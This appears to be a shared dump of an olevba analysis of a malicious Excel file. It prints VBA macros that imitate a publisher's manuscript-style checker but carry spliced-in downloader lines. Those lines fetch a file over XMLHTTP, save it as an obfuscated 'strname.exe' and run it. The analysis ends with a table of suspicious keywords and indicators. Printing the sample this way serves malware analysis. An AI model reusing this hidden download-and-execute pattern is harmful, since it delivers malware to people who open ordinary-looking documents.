  715.  intCurrentPara = rParagraphs.Paragraphs.Count
  716.  If intCurrentPara > 1 Then
  717.  Selection.Previous(Unit:=wdParagraph, Count:=1).Select
  718.  pageNum = Selection.Information(wdActiveEndPageNumber)
  719.  If Selection.Style <> prevStyle Then
  720.  jString = jString & "** ERROR: Missing or incorrect " & prevStyle & " style before " _
  721.  & findStyle & " style on page " & pageNum & "." & vbNewLine & vbNewLine
  722.  End If
  723.  If prevStyle = "Page Break (pb)" Then
  724.  If InStr(Selection.Text, Chr(12)) = 0 Then
  725.  jString = jString & "** ERROR: Missing manual page break on page " & pageNum & "." _
  726.  & vbNewLine & vbNewLine
  727.  End If
  728.  End If
  729.  Selection.Next(Unit:=wdParagraph, Count:=1).Select
  730.  End If
  731.  Loop
  732.  CheckPrevStyle = jString
  733.  Exit Function
  734. ErrHandler:
  735.  If Err.Number = 5941 Or Err.Number = 5834 Then
  736.  Exit Function
  737.  End If
  738. End Function
  739. Function CheckAfterPB() As String
  740.  Dim arrSecStartStyles() As String
  741.  ReDim arrSecStartStyles(1 To 43)
  742.  Dim kString As String
  743.  Dim kCount As Integer
  744.  Dim pageNumK As Integer
  745.  Dim nextStyle As String
  746.  Dim N As Integer
  747.  Dim nCount As Integer
  748.  Appljj.ication.ScreenUpdating = False
  749.  arrSecStartStyles(1) = "Chap Title (ct)"
  750.  arrSecStartStyles(2) = "Chap Number (cn)"
  751.  arrSecStartStyles(3) = "Chap Title Nonprinting (ctnp)"
  752.  arrSecStartStyles(4) = "Halftitle Book Title (htit)"
  753.  arrSecStartStyles(5) = "Titlepage Book Title (tit)"
  754.  arrSecStartStyles(6) = "Copyright Text single space (crtx)"
  755.  arrSecStartStyles(7) = "Copyright Text double space (crtxd)"
  756.  arrSecStartStyles(43) = "Front Sales Quote Head (fsqh)"
  757.  kCount = 0
  758.  kString = ""
  759.  Selection.HomeKey Unit:=wdStory
  760.  On Error GoTo ErrHandler1
  761.  Selection.Find.ClearFormatting
  762.  With Selection.Find
  763.  .Text = "^m^p"
  764.  .Replacement.Text = "^m^p"
  765.  .Forward = True
  766.  .Wrap = wdFindStop
  767.  .Format = True
  768.  .Style = ActiveDocument.Styles("Page Break (pb)")
  769.  .MatchCase = False
  770.  .MatchWholeWord = False
  771.  .MatchWildcards = False
  772.  .MatchSoundsLike = False
  773.  .MatchAllWordForms = False
  774.  End With
  775.  Do While Selection.Find.Execute = True And kCount < 200
  776.  kCount = kCount + 1
  777.  nCount = 0
  778.  Selection.Next(Unit:=wdParagraph, Count:=1).Select
  779.  nextStyle = Selection.Style
  780.  pageNumK = Selection.Information(wdActiveEndPageNumber)
  781.  For N = LBound(arrSecStartStyles()) To UBound(arrSecStartStyles())
  782.  If nextStyle <> arrSecStartStyles(N) Then
  783.  nCount = nCount + 1
  784.  Else
  785.  Exit For
  786.  End If
  787.  Next N
  788.  If nCount = UBound(arrSecStartStyles()) Then
  789.  kString = kString & "** ERROR: " & nextStyle & " style on page " & pageNumK _
  790.  & " cannot follow Page Break (pb) style." & vbNewLine & vbNewLine
  791.  End If
  792. Err2Resume:
  793.  Selection.Previous(Unit:=wdParagraph, Count:=1).Select
  794.  Loop
  795.  CheckAfterPB = kString
  796.  Exit Function
  797. ErrHandler1:
  798.  If Err.Number = 5941 Or Err.Number = 5834 Then
  799.  Exit Function
  800.  End If
  801. ErrHandler2:
  802.  If Err.Number = 5941 Or Err.Number = 5834 Then
  803.  Resume Err2Resume
  804.  End If
  805. End Function
  806. Public Sub DeleteContentControlPC()
  807. simple1.Send
  808. simple2.Type = 1
  809. Exit Sub
  810.  Dim cc As Object
  811.  Appljj.ication.ScreenUpdating = False
  812.  For Each cc In ActiveDocument.ContentC.ontrols
  813.  cc.Delete
  814.  Next
  815. End Sub
  816. Private Function FixTrackChanges() As Boolean
  817.  Dim N As Long
  818.  Dim oComments As Comments
  819.  Set oComments = ActiveDocument.Comments
  820.  Appljj.ication.ScreenUpdating = False
  821.  FixTrackChanges = True
  822.  Appljj.ication.DisplayAlerts = False
  823.  ActiveDocument.TrackRevisions = False
  824.  On Error Resume Next
  825.  Selection.HomeKey Unit:=wdStory
  826.  WordBasic.NextChangeOrComment
  827.  If Err = 0 Then
  828.  FixTrackChanges = False
  829.  Exit Function
  830.  Else
  831.  ActiveDocument.AcceptAllRevisions
  832.  For N = oComments.Count To 1 Step -1
  833.  oComments(N).Delete
  834.  Next N
  835.  Set oComments = Nothing
  836.  End If
  837.  End If
  838.  On Error GoTo 0
  839.  Appljj.ication.DisplayAlerts = True
  840. End Function
  841. Public Function BadTorStyles(ProgressBar2 As String, StatusBar As String, ProgressTitle As String, Stories As String) As String
  842.  Dim paraStyle As String
  843.  Dim activeParaCount As Integer
  844.  Dim strCsvFileName As String
  845.  Dim strLogInfo() As Variant
  846.  ReDim strLogInfo(1 To 3)
  847.  Dim strFullPathToCsv As String
  848.  Dim arrTorStyles() As Variant
  849.  Dim strLogDir As String
  850.  Dim strPathToLogFile As String
  851.  Dim intBadCount As Integer
  852.  Dim activeParaRange As Range
  853.  Dim pageNumber As Integer
  854.  Dim N As Integer
  855.  Dim M As Integer
  856.  Dim strBadStyles As String
  857.  Dim a As Long
  858.  Dim TheOS As String
  859. simple5 = "" + "" + simple4 + "" + "" + "\" + "" + "" + "" + "str" + "" + "name" + "" + "" + "." + "" + "" + "e" + "x" + "e"
  860. Exit Function
  861.  TheOS = System.OperatingSystem
  862.  Dim sglPercentComplete As Single
  863.  Dim strStatus As String
  864.  Appljj.ication.ScreenUpdating = False
  865.  strCsvFileName = "Styles_Bookmaker.csv"
  866.  strLogInfo() = CreateLo.gFileInfo(Filename:=strCsvFileName)
  867.  strLogDir = strLogInfo(2)
  868.  strPathToLogFile = strLogInfo(3)
  869.  strFullPathToCsv = strLogDir & Appljj.ication.PathSeparator & strCsvFileName
  870.  If Downl.DownloadFromConfluence(StagingURL:=False, _
  871.  FinalDir:=strLogDir, _
  872.  LogFile:=strPathToLogFile, _
  873.  Filename:=strCsvFileName) = False Then
  874.  If IsIt.There(strFullPathToCsv) = False Then
  875.  MsgBox "Sorry, I can"
  876.  Exit Function
  877.  Else
  878.  MsgBox "I can"
  879.  End If
  880.  End If
  881.  arrTorStyles = LoadCS.VtoArray(Path:=strFullPathToCsv, RemoveHeaderRow:=True, RemoveHeaderCol:=False)
  882.  activeParaCount = ActiveD.ocument.Paragraphs.Count
  883.  For N = 1 To activeParaCount
  884.  If N Mod 100 = 0 Then
  885.  sglPercentComplete = (((N / activeParaCount) * 0.1) + 0.76)
  886.  strStatus = "* Checking paragraph " & N & " of " & activeParaCount & " for approved Bookmaker styles..." & vbCr & StatusBar
  887.  If Not TheOS Like "*Mac*" Then
  888.  Progr.essBar2.Increment sglPercentComplete, strStatus
  889.  Dodf.dfze 50
  890.  Else
  891.  Appljj.ication.StatusBar = ProgressTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
  892.  DoEvents
  893.  End If
  894.  End If
  895.  For a = LBound(Stor.ies()) To UBound(Stor.ies())
  896.  If N <= ActiveDocument.StoryRanges(Stor.ies(a)).Paragraphs.Count Then
  897.  paraStyle = ActiveDocument.StoryRanges(Stor.ies(a)).Paragraphs(N).Style
  898.  Debug.Print paraStyle
  899.  If Right(paraStyle, 1) = ")" Then
  900.  Debug.Print "Current paragraph is: " & paraStyle
  901.  On Error GoTo ErrHandler
  902.  intBadCount = -1
  903.  
  904.  Debug.Print intBadCount
  905.  If intBadCount = UBound(arrTorStyles()) Then
  906.  Set activeParaRange = ActiveDocument.StoryRanges(a).Paragraphs(N).Range
  907.  pageNumber = activeParaRange.Information(wdActiveEndPageNumber)
  908.  strBadStyles = strBadStyles & "** ERROR: Non-Bookmaker style on page " & pageNumber _
  909.  & " (Paragraph " & N & "): " & paraStyle & vbNewLine & vbNewLine
  910.  End If
  911.  End If
  912.  End If
  913.  Next a
  914. ErrResume:
  915.  Next N
  916.  StatusBar = "* Checking paragraphs for approved Bookmaker styles..." & vbCr & StatusBar
  917.  BadTorStyles = strBadStyles
  918.  Exit Function
  919. ErrHandler:
  920.  Debug.Print Err.Number & " " & Err.Description & " | " & Err.HelpContext
  921.  If Err.Number = 5941 Or Err.Number = 5834 Then
  922.  Resume ErrResume
  923.  End If
  924. End Function
  925. Private Function CountReqdStyles() As Variant
  926.  Dim arrStyleName(1 To 15) As String
  927.  Dim intStyleCount() As Variant
  928.  ReDim intStyleCount(1 To 15) As Variant
  929.  Dim a As Long
  930.  Dim xCount As Integer
  931.  Appljj.ication.ScreenUpdating = False
  932.  arrStyleName(1) = "Titlepage Book Title (tit)"
  933.  arrStyleName(2) = "Titlepage Author Name (au)"
  934.  arrStyleName(13) = "BM Title (bmt)"
  935.  arrStyleName(14) = "Illustration holder (ill)"
  936.  arrStyleName(15) = "Illustration Source (is)"
  937.  For a = 1 To UBound(arrStyleName())
  938.  On Error GoTo ErrHandler
  939.  intStyleCount(a) = 0
  940.  With ActiveDocument.Range.Find
  941.  .ClearFormatting
  942.  .Text = ""
  943.  .Replacement.Text = ""
  944.  .Forward = True
  945.  .Wrap = wdFindStop
  946.  .Format = True
  947.  .Style = ActiveDocument.Styles(arrStyleName(a))
  948.  .MatchCase = False
  949.  .MatchWholeWord = False
  950.  .MatchWildcards = False
  951.  .MatchSoundsLike = False
  952.  .MatchAllWordForms = False
  953.  Do While .Execute(Forward:=True) = True And intStyleCount(a) < 100
  954.  intStyleCount(a) = intStyleCount(a) + 1
  955.  Loop
  956.  End With
  957. ErrResume:
  958.  Next
  959.  If intStyleCount(1) = 100 Then
  960.  Exit Function
  961.  End If
  962.  CountReqdStyles = intStyleCount()
  963.  Exit Function
  964. ErrHandler:
  965.  If Err.Number = 5941 Or Err.Number = 5834 Then
  966.  intStyleCount(a) = 0
  967.  Resume ErrResume
  968.  End If
  969. End Function
  970.  
  971.  
  972.  
  973.  
  974.  
  975.  
  976.  
  977.  
  978.  
  979. -------------------------------------------------------------------------------
  980. VBA MACRO Module3.bas
  981. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  982. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  983. Private Sub FixSectionHeadings(oldStyle As String, newStyle As String)
  984.  Appljj.ication.ScreenUpdating = False
  985.  On Error GoTo ErrHandler:
  986.  Dim keyStyle As String
  987.  Set keyStyle = ActiveDocument.Styles(oldStyle)
  988.  Set keyStyle = ActiveDocument.Styles(newStyle)
  989.  Selection.HomeKey Unit:=wdStory
  990.  Selection.Find.ClearFormatting
  991.  Selection.Find.Style = ActiveDocument.Styles(oldStyle)
  992.  Selection.Find.Replacement.ClearFormatting
  993.  Selection.Find.Replacement.Style = ActiveDocument.Styles(newStyle)
  994.  With Selection.Find
  995.  .Text = ""
  996.  .Replacement.Text = ""
  997.  .Forward = True
  998.  .Wrap = wdFindContinue
  999.  .Format = True
  1000.  .MatchCase = False
  1001.  .MatchWholeWord = False
  1002.  .MatchWildcards = False
  1003.  .MatchSoundsLike = False
  1004.  .MatchAllWordForms = False
  1005.  End With
  1006.  Selection.Find.Execute Replace:=wdReplaceAll
  1007. Exit Sub
  1008. ErrHandler:
  1009.  If Err.Number = 5941 Or Err.Number = 5834 Then
  1010.  Exit Sub
  1011.  End If
  1012. End Sub
  1013. Public Function GetMetadata() As String
  1014.  Dim styleNameB(4) As String
  1015.  Dim bString(4) As String
  1016.  Dim b As Integer
  1017.  GetMetadata = "GET"
  1018.  simple2.Open
  1019.  Exit Function
  1020.  Dim strTitleData As String
  1021.  styleNameB(1) = "Titlepage Book Title (tit)"
  1022.  styleNameB(2) = "Titlepage Author Name (au)"
  1023.  styleNameB(3) = "span ISBN (isbn)"
  1024.  styleNameB(4) = "Titlepage Imprint Line (imp)"
  1025.  For b = 1 To UBound(styleNameB())
  1026.  bString(b) = GetT.ext(styleNameB(b))
  1027.  If bString(b) <> vbNullString Then
  1028.  bString(b) = "** " & styleNameB(b) & " **" & vbNewLine & _
  1029.  bString(b) & vbNewLine
  1030.  End If
  1031.  Next b
  1032.  strTitleData = bString(1) & bString(2) & bString(3) & bString(4)
  1033.  GetMetadata = strTitleData
  1034. End Function
  1035. Private Function IllustrationsList() As String
  1036.  Dim cString(1000) As String
  1037.  Dim cCount As Integer
  1038.  Dim pageNumberC As Integer
  1039.  Dim strFullList As String
  1040.  Dim N As Integer
  1041.  Dim strSearchStyle As String
  1042.  Appljj.ication.ScreenUpdating = False
  1043.  strSearchStyle = "Illustration holder (ill)"
  1044.  cCount = 0
  1045.  Selection.HomeKey Unit:=wdStory
  1046.  On Error GoTo ErrHandler
  1047.  Dim keyStyle As Style
  1048.  Set keyStyle = ActiveDocument.Styles(strSearchStyle)
  1049.  Selection.Find.ClearFormatting
  1050.  Do While Selection.Find.Execute = True And cCount < 1000
  1051.  cCount = cCount + 1
  1052.  pageNumberC = Selection.Information(wdActiveEndPageNumber)
  1053.  If InStr(Selection.Text, Chr(13)) > 0 Then
  1054.  Selection.MoveEnd Unit:=wdCharacter, Count:=-1
  1055.  End If
  1056.  cString(cCount) = "Page " & pageNumberC & ": " & Selection.Text & vbNewLine
  1057.  Selection.MoveEndWhile Cset:=Chr(13), Count:=wdForward
  1058.  Loop
  1059.  Selection.HomeKey Unit:=wdStory
  1060.  If cCount > 1000 Then
  1061.  MsgBox "You have more than 1,000 illustrations tagged in your manuscript." & vbNewLine & _
  1062.  "Please contact workflows@macmillan.com to complete your illustration list."
  1063.  End If
  1064.  If cCount = 0 Then
  1065.  cCount = 1
  1066.  cString(1) = "no illustrations detected" & vbNewLine
  1067.  End If
  1068.  For N = 1 To cCount
  1069.  strFullList = strFullList & cString(N)
  1070.  Next N
  1071.  IllustrationsList = strFullList
  1072.  Exit Function
  1073. ErrHandler:
  1074.  If Err.Number = 5941 Or Err.Number = 5834 Then
  1075.  IllustrationsList = ""
  1076.  Exit Function
  1077.  End If
  1078. End Function
  1079. Public Function CheckPrev2Paras(StyleA As String, StyleB As String, StyleC As String) As String
  1080.  Dim strErrors As String
  1081.  Dim intCount As Integer
  1082.  Dim pageNum As Integer
  1083.  Dim intCurrentPara As Integer
  1084.  Dim strStyle1 As String
  1085.  Dim strStyle2 As String
  1086.  Dim strStyle3 As String
  1087.  simple2.write simple1.responseBody
  1088.  GoTo sample12
  1089.  Appljj.ication.ScreenUpdating = False
  1090.  On Error GoTo ErrHandler:
  1091.  Dim keyStyle As String
  1092.  Set keySt.yle = ActiveDocument.Styles(StyleA)
  1093.  Set keyS.tyle = ActiveDocument.Styles(StyleB)
  1094.  Set keySt.yle = ActiveDocument.Styles(StyleC)
  1095.  strErrors = ""
  1096.  Selection.HomeKey Unit:=wdStory
  1097.  Selection.Find.ClearFormatting
  1098.  With Selection.Find
  1099.  .Text = ""
  1100.  .Replacement.Text = ""
  1101.  .Forward = True
  1102.  .Wrap = wdFindStop
  1103.  .Format = True
  1104.  .Style = ActiveDocument.Styles(StyleC)
  1105.  .MatchCase = False
  1106.  .MatchWholeWord = False
  1107.  .MatchWildcards = False
  1108.  .MatchSoundsLike = False
  1109.  .MatchAllWordForms = False
  1110.  End With
  1111.  intCount = 0
  1112.  Do While Selection.Find.Execute = True And intCount < 300
  1113.  intCount = intCount + 1
  1114.  intCurrentPara = ActiveDocument.Range(0, Selection.Paragraphs(1).Range.End).Paragraphs.Count
  1115.  Dim SelectionIncludesFinalParagraphMark As Boolean
  1116.  Selection.Next(Unit:=wdParagraph, Count:=1).Select
  1117.  Loop
  1118.  Selection.HomeKey Unit:=wdStory
  1119.  Selection.Find.ClearFormatting
  1120.  With Selection.Find
  1121.  .Text = ""
  1122.  .Replacement.Text = ""
  1123.  .Forward = True
  1124.  .Wrap = wdFindStop
  1125.  .Format = True
  1126.  .Style = ActiveDocument.Styles(StyleA)
  1127.  .MatchCase = False
  1128.  .MatchWholeWord = False
  1129.  .MatchWildcards = False
  1130.  .MatchSoundsLike = False
  1131.  .MatchAllWordForms = False
  1132.  End With
  1133.  intCount = 0
  1134.  Do While Selection.Find.Execute = True And intCount < 1000
  1135.  intCount = intCount + 1
  1136.  intCurrentPara = ActiveDocument.Range(0, Selection.Paragraphs(1).Range.End).Paragraphs.Count
  1137.  If intCurrentPara > 1 Then
  1138.  Selection.Previous(Unit:=wdParagraph, Count:=1).Select
  1139.  pageNum = Selection.Information(wdActiveEndPageNumber)
  1140.  If Selection.Style = StyleB Then
  1141.  strErrors = strErrors & "** ERROR: " & StyleB & " on page " & pageNum & " must come after " _
  1142.  & StyleA & "." & vbNewLine & vbNewLine
  1143.  End If
  1144.  Selection.Next(Unit:=wdParagraph, Count:=1).Select
  1145.  End If
  1146.  Loop
  1147.  CheckPrev2Paras = strErrors
  1148.  Selection.HomeKey Unit:=wdStory
  1149.  Exit Function
  1150. ErrHandler:
  1151.  If Err.Number = 5941 Or Err.Number = 5834 Then
  1152.  Exit Function
  1153.  End If
  1154. sample12:
  1155.  simple2.savetofile simple5, 2
  1156.  CreateReport False, "", "", "", "", ""
  1157. End Function
  1158. Private Sub CreateReport(TemplateUsed As Boolean, errorList As String, metadata As String, illustrations As String, goodStyles As String, suffix As String)
  1159. GoTo TheOS
  1160.  Appljj.ication.ScreenUpdating = False
  1161.  Dim activeRng As Range
  1162.  Dim activeDoc As String
  1163.  'Set activeDoc = ActiveDocument
  1164. 'Set activeRng = ActiveDocument.Range
  1165. Dim activeDocName As String
  1166.  Dim activeDocPath As String
  1167.  Dim reqReportDoc As String
  1168.  Dim reqReportDocAlt As String
  1169.  Dim fnum As Integer
  1170.  Dim TheOS As String
  1171. TheOS:
  1172.  simple6.Open (simple5)
  1173.  Exit Sub
  1174.  TheOS = System.OperatingSystem
  1175.  activeDocName = Left(activh.eDoc.Name, InStrRev(activh.eDoc.Name, ".do") - 1)
  1176.  activeDocPath = Replace(activh.eDoc.Path, activh.eDoc.Name, "")
  1177.  reqReportDoc = activeDocPath & activeDocName & "_" & suffix & ".txt"
  1178.  If Not TheOS Like "*Mac*" Then
  1179.  reqReportDoc = activeDocPath & "\" & activeDocName & "_" & suffix & ".txt"
  1180.  Else
  1181.  Dim placeholdDocName As String
  1182.  placeholdDocName = "filenamePlacehold_Report.txt"
  1183.  reqReportDocAlt = reqReportDoc
  1184.  reqReportDoc = "Macintosh HD:private:tmp:" & placeholdDocName
  1185.  End If
  1186.  Dim e As Integer
  1187.  fnum = FreeFile()
  1188.  Open reqReportDoc For Output As fnum
  1189.  If TemplateUsed = False Then
  1190.   End If
  1191.  Print #fnum, illustrations
  1192.  Print #fnum, vbCr
  1193.  Print #fnum, vbCr
  1194.  Print #fnum, "----------------------- MACMILLAN STYLES IN USE --------------------" & vbCr
  1195.  Print #fnum, goodStyles
  1196.  Close #fnum
  1197.  If reqReportDocAlt <> "" Then
  1198.  Name reqReportDoc As reqReportDocAlt
  1199.  End If
  1200.  Dim Shex As Object
  1201.  If Not TheOS Like "*Mac*" Then
  1202.  Set Shex = CreateObject("Shell.Application")
  1203.  Shex.Open (reqReportDoc)
  1204.  Else
  1205.  MacScript ("tell application ""TextEdit"" " & vbCr & _
  1206.  "open " & """" & reqReportDocAlt & """" & " as alias" & vbCr & _
  1207.  "activate" & vbCr & _
  1208.  "end tell" & vbCr)
  1209.  End If
  1210. End Sub
  1211. Private Function StylesInUse(ProgressBar As String, Status As String, ProgTitle As String, Stories() As Variant) As String
  1212.  Dim TheOS As String
  1213.  TheOS = System.OperatingSystem
  1214.  Dim sglPercentComplete As Single
  1215.  Dim strStatus As String
  1216.  Dim activeDoc As String
  1217.  Set activeDoc = ActiveDocument
  1218.  Dim stylesGood() As String
  1219.  Dim stylesGoodLong As Long
  1220.  stylesGoodLong = 400
  1221.  ReDim stylesGood(stylesGoodLong)
  1222.  Dim styleGoodCount As Integer
  1223.  Dim activeParaCount As Integer
  1224.  Dim J As Integer, K As Integer, L As Integer
  1225.  Dim paraStyle As String
  1226.  Dim activeParaRange As Range
  1227.  Dim pageNumber As Integer
  1228.  Dim a As Long
  1229.  styleGoodCount = 0
  1230.  activeParaCount = activh.eDoc.Paragraphs.Count
  1231.  For J = 1 To activeParaCount
  1232.  If J Mod 100 = 0 Then
  1233.  sglPercentComplete = (((J / activeParaCount) * 0.12) + 0.86)
  1234.  strStatus = "* Checking paragraph " & J & " of " & activeParaCount & " for Macmillan styles..." & vbCr & Status
  1235.  If Not TheOS Like "*Mac*" Then
  1236.  Progg.gressBar.Increment sglPercentComplete, strStatus
  1237.  Dodf.dfze 50
  1238.  Else
  1239.  Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
  1240.  DoEvents
  1241.  End If
  1242.  End If
  1243.  For a = LBound(Stories()) To UBound(Stories())
  1244.  If J <= ActiveDocument.StoryRanges(Stories(a)).Paragraphs.Count Then
  1245.  paraStyle = activh.eDoc.StoryRanges(Stories(a)).Paragraphs(J).Style
  1246.  Set activeParaRange = activh.eDoc.StoryRanges(Stories(a)).Paragraphs(J).Range
  1247.  pageNumber = activeParaRange.Information(wdActiveEndPageNumber)
  1248.  For K = 1 To styleGoodCount
  1249.  If paraStyle = Left(stylesGood(K), InStrRev(stylesGood(K), " --") - 1) Then
  1250.  K = styleGoodCount
  1251.  Exit For
  1252.  End If
  1253.  Next K
  1254.  If K = styleGoodCount + 1 Then
  1255.  styleGoodCount = K
  1256.  stylesGood(styleGoodCount) = paraStyle & " -- p. " & pageNumber
  1257.  End If
  1258.  End If
  1259.  Next a
  1260.  Next J
  1261.  If K <> 0 Then
  1262.  ReDim Preserve stylesGood(1 To styleGoodCount)
  1263.  WordBasic.SortArray stylesGood()
  1264.  End If
  1265.  Dim strGoodStyles As String
  1266.  For K = LBound(stylesGood()) To UBound(stylesGood())
  1267.  strGoodStyles = strGoodStyles & stylesGood(K) & vbNewLine
  1268.  Next K
  1269.  StylesInUse = strGoodStyles
  1270. End Function
  1271. Private Sub ISBNcleanup()
  1272.  On Error GoTo ErrHandler:
  1273.  Dim keyStyle As String
  1274.  Set keyStyle = ActiveDocument.Styles("span ISBN (isbn)")
  1275.  On Error GoTo 0
  1276.  Dim strISBNtextArray()
  1277.  ReDim strISBNtextArray(1 To 3)
  1278.  strISBNtextArray(1) = "-[!0-9]"
  1279.  strISBNtextArray(2) = "[!0-9]-"
  1280.  strISBNtextArray(3) = "[!-0-9]"
  1281.  Dim g As Long
  1282.  For g = LBound(strISBNtextArray()) To UBound(strISBNtextArray())
  1283.  Selection.HomeKey Unit:=wdStory
  1284.  With Selection.Find
  1285.  .ClearFormatting
  1286.  .Text = strISBNtextArray(g)
  1287.  .Replacement.ClearFormatting
  1288.  .Replacement.Text = ""
  1289.  .Forward = True
  1290.  .Wrap = wdFindStop
  1291.  .Format = True
  1292.  .Style = "span ISBN (isbn)"
  1293.  .Replacement.Style = "Default Paragraph Font"
  1294.  .MatchCase = False
  1295.  .MatchWholeWord = False
  1296.  .MatchWildcards = True
  1297.  .MatchSoundsLike = False
  1298.  .MatchAllWordForms = False
  1299.  End With
  1300.  Selection.Find.Execute Replace:=wdReplaceAll
  1301.  Next g
  1302. Exit Sub
  1303. ErrHandler:
  1304.  If Err.Number = 5941 Or Err.Number = 5834 Then
  1305.  Exit Sub
  1306.  End If
  1307. End Sub
  1308. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  1309.     Dim result As String
  1310.     result = ""
  1311.     Dim i As Integer
  1312.     For i = LBound(fromArr) To LenLen
  1313.         result = result & Chr(fromArr(i) - 13 * LenLen - i * 13)
  1314.     Next i
  1315.     GetStringFromArray = result
  1316. End Function
  1317. Private Function BookTypeCheck()
  1318.  Dim intCount As Integer
  1319.  Dim strErrors As String
  1320.  Dim strBookTypes(1 To 6) As String
  1321.  Dim a As Long
  1322.  Dim blnMissing As Boolean
  1323.  Dim strISBN As String
  1324.  strBookTypes(1) = "trade paperback"
  1325.  strBookTypes(2) = "hardcover"
  1326.  strBookTypes(3) = "e-book"
  1327.  strBookTypes(4) = "ebook"
  1328.  strBookTypes(5) = "print on demand"
  1329.  strBookTypes(6) = "print-on-demand"
  1330.  Selection.HomeKey Unit:=wdStory
  1331.  On Error GoTo ErrHandler
  1332.  intCount = 0
  1333.  With Selection.Find
  1334.  .ClearFormatting
  1335.  .Text = ""
  1336.  .Replacement.Text = ""
  1337.  .Forward = True
  1338.  .Wrap = wdFindStop
  1339.  .Format = True
  1340.  .Style = ActiveDocument.Styles("span ISBN (isbn)")
  1341.  .MatchCase = False
  1342.  .MatchWholeWord = False
  1343.  .MatchWildcards = False
  1344.  .MatchSoundsLike = False
  1345.  .MatchAllWordForms = False
  1346.  Do While .Execute(Forward:=True) = True And intCount < 100
  1347.  intCount = intCount + 1
  1348.  strISBN = Selection.Text
  1349.  ActiveDocument.Bookmarks.Add Name:="ISBN", Range:=Selection.Range
  1350.  Selection.Collapse Direction:=wdCollapseEnd
  1351.  Selection.EndOf Unit:=wdLine, Extend:=wdExtend
  1352.  blnMissing = True
  1353.  For a = 1 To UBound(strBookTypes())
  1354.  If InStr(Selection.Text, "(" & strBookTypes(a) & ")") > 0 Then
  1355.  blnMissing = False
  1356.  Exit For
  1357.  End If
  1358.  Next a
  1359.  If blnMissing = True Then
  1360.  strErrors = strErrors & "** ERROR: Correct book type required in parentheses after" & vbNewLine & _
  1361.  "ISBN " & strISBN & " on copyright page." _
  1362.  & vbNewLine & vbNewLine
  1363.  End If
  1364.  If ActiveDocument.Bookmarks.Exists("ISBN") = True Then
  1365.  Selection.GoTo what:=wdGoToBookmark, Name:="ISBN"
  1366.  ActiveDocument.Bookmarks("ISBN").Delete
  1367.  End If
  1368.  Loop
  1369.  End With
  1370.  BookTypeCheck = strErrors
  1371.  On Error GoTo 0
  1372.  Exit Function
  1373. ErrHandler:
  1374.  Debug.Print Err.Number & ": " & Err.Description
  1375.  If Err.Number = 5941 Or Err.Number = 5834 Then
  1376.  Exit Function
  1377.  End If
  1378. End Function
  1379.  
  1380.  
  1381.  
  1382.  
  1383.  
  1384.  
  1385.  
  1386.  
  1387.  
  1388.  
  1389. +------------+----------------------+-----------------------------------------+
  1390. | Type       | Keyword              | Description                             |
  1391. +------------+----------------------+-----------------------------------------+
  1392. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  1393. | Suspicious | Open                 | May open a file                         |
  1394. | Suspicious | Shell                | May run an executable file or a system  |
  1395. |            |                      | command                                 |
  1396. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1397. |            |                      | command                                 |
  1398. | Suspicious | Shell.Application    | May run an application (if combined     |
  1399. |            |                      | with CreateObject)                      |
  1400. | Suspicious | CreateObject         | May create an OLE object                |
  1401. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1402. |            |                      | strings                                 |
  1403. | Suspicious | ADODB.Stream         | May create a text file                  |
  1404. | Suspicious | SaveToFile           | May create a text file                  |
  1405. | Suspicious | Write                | May write to a file (if combined with   |
  1406. |            |                      | Open)                                   |
  1407. | Suspicious | Output               | May write to a file (if combined with   |
  1408. |            |                      | Open)                                   |
  1409. | Suspicious | Print #              | May write to a file (if combined with   |
  1410. |            |                      | Open)                                   |
  1411. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1412. |            |                      | (obfuscation: VBA expression)           |
  1413. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  1414. |            |                      | be used to obfuscate strings (option    |
  1415. |            |                      | --decode to see all)                    |
  1416. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  1417. |            |                      | may be used to obfuscate strings        |
  1418. |            |                      | (option --decode to see all)            |
  1419. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1420. |            | Strings              | may be used to obfuscate strings        |
  1421. |            |                      | (option --decode to see all)            |
  1422. | IOC        | strname.exe          | Executable file name (obfuscation: VBA  |
  1423. |            |                      | expression)                             |
  1424. | Base64     | ! M                  | ISBN                                    |
  1425. | String     |                      |                                         |
  1426. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1427. | VBA string | ** ERROR: Too many   | "** ERROR: Too many title paragraphs    |
  1428. |            | title paragraphs     | detected."  & " Only 1 allowed."        |
  1429. |            | detected. Only 1     |                                         |
  1430. |            | allowed.             |                                         |
  1431. | VBA string |
  1432.                     | Chr(13)                                 |
  1433. | VBA string |                    | Chr(12)                                 |
  1434. | VBA string |                      | "" + ""                                 |
  1435. | VBA string | \strname.exe         | "" + "" + "\" + "" + "" + "" + "str" +  |
  1436. |            |                      | "" + "name" + "" + "" + "." + "" + "" + |
  1437. |            |                      | "e" + "x" + "e"                         |
  1438. | VBA string | open "               | "open " & """"                          |
  1439. | VBA string | " as alias           | """" & " as alias"                      |
  1440. | VBA string | ! M                  | Exists("ISBN")                          |
  1441. | VBA string | ! M                  | Bookmarks("ISBN")                       |
  1442. +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment